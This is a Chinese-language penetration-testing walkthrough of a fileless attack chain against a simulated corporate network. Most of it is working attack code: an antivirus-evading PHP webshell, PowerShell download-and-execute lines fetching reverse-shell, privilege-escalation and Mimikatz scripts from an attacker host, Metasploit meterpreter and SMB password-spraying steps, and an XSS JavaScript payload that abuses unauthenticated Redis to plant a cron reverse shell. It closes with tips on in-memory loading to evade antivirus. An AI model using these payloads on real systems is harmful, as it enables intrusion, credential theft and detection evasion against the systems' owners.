“無文件”攻擊方式滲透實驗


拓撲設計

1.png

 

拓撲介紹

其中192.168.1.0/24模擬的是公網的環境

172.21.132.0/24模擬的是企業內網的環境

邊界web服務器雙網卡(公網的:192.168.1.110,和內網的172.21.132.110),而且為了最基本的安全保障,web邊界服務器設置了防火牆,此防火牆對外網只開放80,81,443端口,對內網開放所有端口,上面還裝有殺毒軟件。

內網還布置若干台web服務器,一台旁路告警設備(ips),他們都可以連接到外網,但是外網訪問不到內部的任何web服務器

其中web服務器(linux)(172.21.132.113)前面放置防火牆,不可以被內網的其他web服務器訪問到,但是它可以訪問到內網的其他服務器,並且能夠連接到外網。這套環境里面的192.168.1.108是黑客的kali攻擊機,192.168.1.212是黑客的windows攻擊機

科普下nishang和PowerSploit

1、Nishang是基於PowerShell的滲透測試專用工具。集成了框架、腳本和各種payload。這些腳本是由Nishang的作者在真實滲透測試過程中有感而發編寫的,具有實戰價值。包括了下載和執行、鍵盤記錄、dns、延時命令等腳本

2、PowerSploit是又一款Post Exploitation 相關工具,Post Exploitation是老外滲透測試標准里面的東西,就是獲取shell之后干的一些事情。PowerSploit 其實就是一些powershell 腳本,包括Inject-Dll(注入dll 到指定進程 )、Inject-Shellcode(注入shellcode到執行進程)、 Encrypt- Script(文本或腳本加密)、Get-GPPPassword(通過groups.xml 獲取明文密碼)、 Invoke- ReverseDnsLookup(掃描DNS PTR記錄)

滲透開始

 

首先邊界web服務器上fastcgi配置錯誤,導致服務器被getshell 因為網上的菜刀好多都有后門,所以我用開源的CKnife(介紹地址:跨平台版中國菜刀Cknife發布項目地址: Cknifegithub) 因為服務器上有殺毒軟件所以要把一句話木馬做一下轉換繞過思路參考:打狗棒法之進階篇:Cknife修改配置法秒過安全狗

 

我用的服務器端木馬內容

<?php eval('$ms509 ='.$_POST['Cknife']); eval($ms509); ?>

 

替換Config.iniPHP_MAKE

 

base64_decode($_POST['action']);

 

2.png

連接方式

3.png

拿到webshell之后,首先用systeminfo來查看系統信息

 

4.png

首先可以看到這個是一台win2008 r2 64位系統,而且沒有打任何系統補丁所以我可以從上面反彈一個powershell出來進行進一步的滲透首先把nishang git clone到自己的web目錄下面,然后在shell目錄下找到Invoke-PowerShellTcp.ps1,我為了方便把Invoke-PowerShellTcp.ps1復制到了web的根目錄,我先在自己的機子上用nc監聽8888端口,然后執行

powershell IEX(New-ObjectNet.WebClient).DownloadString(‘http://192.168.108/Invoke-PowerShellTcp.ps1‘);Invoke-PowerShellTcp-Reverse -IPAddress 192.168.1.108 -port 8888

nc上得到一個反彈出來的powershell5.png

查看權限發現權限比較低只是:iis apppool所以我需要提高一下權限一般的做法是要上傳一個內核溢出的exp,一般都是上傳一個exe,但是我在這里選擇直接從遠處加載一個exe到受害主機內存中,並且讓他執行起來,詳細的我會在《有趣的滲透(番外篇)》中詳細的說明,我先把https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1下載到我的web目錄下面,再把用到的提權expms1564.exe)放到web根目錄下面然后在反彈的shell里面運行

IEX(New-ObjectNet.WebClient).DownloadString('http://192.168.108/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection-PEUrl http://192.168.1.108/ms1564.exe -ExeArgs "cmd" -ForceASLR

這樣再執行whoami看權限的話就可以看到是 nt authority。

6.png

 

Ps:這里面有個坑,這個ms15051exp是隨便從一個網上下載下來的,沒有經過改造,所以當執行的指令參數有空格的時候,他就沒有任何反應,也沒有任何回顯,后來經過我不斷的嘗試,執行cmd的時候就可以把shell的權限提了,很不錯,但是如果你執行powershell這個指令的話,那么這個反彈的shell就會假死)這個時候在本機搜集一下信息:首先用mimikatz來脫出登陸過得密碼:

IEX (New-ObjectNet.WebClient).DownloadString('http://192.168.1.108/Invoke-Mimikatz.ps1');Invoke-Mimikatz

2.png

查看arp的列表

8.png

 

 

看到好多機子集中在172.21.132.100-120這個網段我調用poershell掃一下

 

端口掃描的腳本從這里下載:https://github.com/samratashok/nishang/blob/master/Scan/Invoke-PortScan.ps1

 

掃描:

IEX (New-ObjectNet.WebClient).DownloadString('http://192.168.1.108/Invoke-PortScan.ps1');Invoke-PortScan-StartAddress 172.21.132.0 -EndAddress 172.21.132.254 -ResolveHost -ScanPort

9.png

這個時候我用利用powershell反彈一個meterpreter 利用powersploit框架,由於一些奇怪的原因,作者把框架中支持msf的部分去掉了,但是經過的我的查找,在作者提交的歷史記錄里面找到了最后一版支持msf的部分:地址是:

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/12ce71b9f4b0428d9425e001e5988f91eb2b8b87/CodeExecution/Invoke–Shellcode.ps1

如果git clone新版本的PowerSploit你要用老版本的CodeExecution/Invoke–Shellcode.ps1替換掉新版本的文件使用方法還是先把腳本下載到黑客自己的web目錄下,我為了方便,我寫了一個調用腳本放在web目錄下(1.ps1)

IEX(New-ObjectNet.WebClient).DownloadString('http://192.168.1.108/CodeExecution/Invoke-Shellcode.ps1') Invoke-Shellcode -payloadwindows/meterpreter/reverse_https -lhost 192.168.1.108 -lport 4444 -force

先把msf打開,然后設置payloadwindows/meterpreter/reverse_https,並且監聽在4444端口:

msf > useexploit/multi/handler msf exploit(handler) > set payloadwindows/meterpreter/reverse_https payload => windows/meterpreter/reverse_https msf exploit(handler) > set lport 4444 lport => 4444 msf exploit(handler) > set lhost 0.0.0.0 lhost => 0.0.0.0 msf exploit(handler) > run

然后在powershell反彈的shell中調用

IEX (New-ObjectNet.WebClient).DownloadString(‘http://192.168.1.108/1.ps1‘)

成功拿到meterpreter,但是注意:這個meterpreter執行shell是不能得到交互式的cmd ,因為剛才用exp把反彈的powershell變成了system的權限,所以再反彈出來的meterpreter也是system權限

這個時候可以 meterpreter查看路由: runget_local_subnets

meterpreter 尋找putty保存的信息 run enum_putty

meterpreter 尋找ie保存的密碼 run post/windows/gather/enum_ie

本地信息搜集差不多了,可以把meterpreter放入后台: background

然后添加路由(這樣才能進行內網的掃描): route add 172.21.132.0 255.255.255.0 1 route add的第一個參數是地址,第二個參數地址是掩碼,第三個參數是sessisid

進行內網的主機掃描:利用smb進行主機識別: use auxiliary/scanner/smb/smb_version

10.png

利用剛才找到的管理員密碼在內網里面碰撞一下,看看多少主機用的是同樣的密碼 用的是:use auxiliary/scanner/smb/smb_login

1.png

 

可以看到內網里面的大部分機子都是用的一個密碼

 

下面我要用socks代理進入到內網里面獲取一些信息

 

有三種選擇:首先msf提供了一種socks4a的代理,瀏覽器可以用這個代理進入到內網,但是burp不能用socks4a的代理第二:可以用reGeorgSocksProxy.pysocks5進入到內網里面第三:可以用特殊處理過得xsocks.exe,通過powershell遠程加載到內存里面運行之后得到socks5的代理

 

因為這是60字節webshell的雜技,所以我用第三種方法進入到內網:

 

首先在黑客的web里面放入特殊處理的xsocks.exe,然后用poweshell加載

IEX (New-ObjectNet.WebClient).DownloadString('http://192.168.1.108/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection-PEUrl http://192.168.1.108/xsocks.exe -ExeArgs "-l 443" -ForceASLR

然后burp這樣設置:

12.png

 

火狐中這樣設置

 

13.png

就可以實現這樣的效果了

14.png

看一下效果:

15.png

把流量攔截下來repeater也可以

16.png

* 普及一下redis未授權的知識 詳細的文章可以看redis未授權訪問總結 而redis的csrf漏洞的產生原因是:就是當向redis發送無效指令時,redis自身協議不會終止tcp鏈接。同時redis只會執行body里的有效指令,而不會關心http header里的內容。

* 科普一下csrf的攻擊:CSRF:跨站請求偽造,也被稱為:one click attack/session riding,縮寫為:CSRF/XSRF,簡單來說攻擊者盜用了你的身份,以你的名義發送惡意請求。CSRF能夠做的事情包括:以你名義發送郵件,發消息,盜取你的賬號,甚至於購買商品,虛擬貨幣轉賬……造成的問題包括:個人隱私泄露以及財產安全。常見的經典csrf的案例是通過csrf修改你家路由器的dns配置,從而達到非法獲利的目的,可以參考文章TP-link TL-WR840N系列路由器存在CSRF漏洞,可修改任意配置(含POC測試過程)

 

經過內網探測,發現172.21.132.113開放6379端口,但是通過代理無法連接到后來發現在172.21.132.117:83/xss/add.php發現一個留言板

17.png

 

 

所以根據這個文章:Client-SideRedis Attack Proof of Concept 我做了一個可以利用redis未授權訪問得到反彈shelljs:

      var cmd = new XMLHttpRequest();      cmd.open("POST", "http://127.0.0.1:6379");      cmd.send('flushall\r\n');             var cmd =new XMLHttpRequest();      cmd.open("POST", "http://127.0.0.1:6379");      cmd.send('eval \'' + 'redis.call(\"set\",\"1\",\"\\n\\n*/1 * * * * /bin/bash -i >&/dev/tcp/192.168.1.108/5566 0>&1\\n\\n");redis.call(\"config\", \"set\", \"dir\",\"/var/spool/cron/\"); redis.call(\"config\",\"set\", \"dbfilename\", \"root\");' + '\' 0' +"\r\n");       var cmd =new XMLHttpRequest();      cmd.open("POST", "http://127.0.0.1:6379");       cmd.send('save\r\n');

 

把他放在自己的web目錄下,然后在留言板寫入:

 

<script src=http://192.168.1.108/redis.js></script>

在本機監聽用nc監聽5566端口,只要有裝redis 的那台機子的管理員查看留言板的話就會彈出一個shell給我的主機

18.png

可以看到這個已經反彈的處理的shellroot權限

 

至此,整個內網已經被完全滲透

 

最后的tips

 

我在上面介紹用:poweshell加載外部的exe進入內存執行,從而不在受害主機里面留下任何痕跡,而且也可以繞過國內主流殺軟的查殺這個想法的實現根據這個文章:PowerPwning:Post-Exploiting ByOverpowering PowerShell還有 Powershelltricks::Code Execution & Process Injection

要是實現這個前提條件是:

1.你要有源碼

2.源碼必須是c++編寫,c#編寫的一律崩潰

3.編譯的時候建議用vs2010+winxp編譯

4.在win上不能用gcc去編譯

5.編譯采用/MT 或者/MTd

19.png

 

6.如果要傳遞參數的話把int main(int argc char **argv)改成

int main() {     LPWSTR*szArglist;     int nArgs;     int i;     szArglist =CommandLineToArgvW(GetCommandLineW(), &nArgs);     if( NULL ==szArglist )     {        wprintf(L"CommandLineToArgvW failed\n");         return0;     }     } ……………………

 

7.代碼中不能有寫文件的操作

下面是集中滲透軟件編譯過程

我以提權工具ms15-051的代碼做實驗(代碼的源碼),添加傳遞參數的代碼后 里面有幾個字符轉換的問題,可以自己解決一下,本人 生成好了以后看看效果 首先把生成好的ms15-051.exe上傳到自己的web服務器。

先下載到本地看看什么效果

3.png

然后用編譯好的ms15-051.exe用powershell加載一下

4.png


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM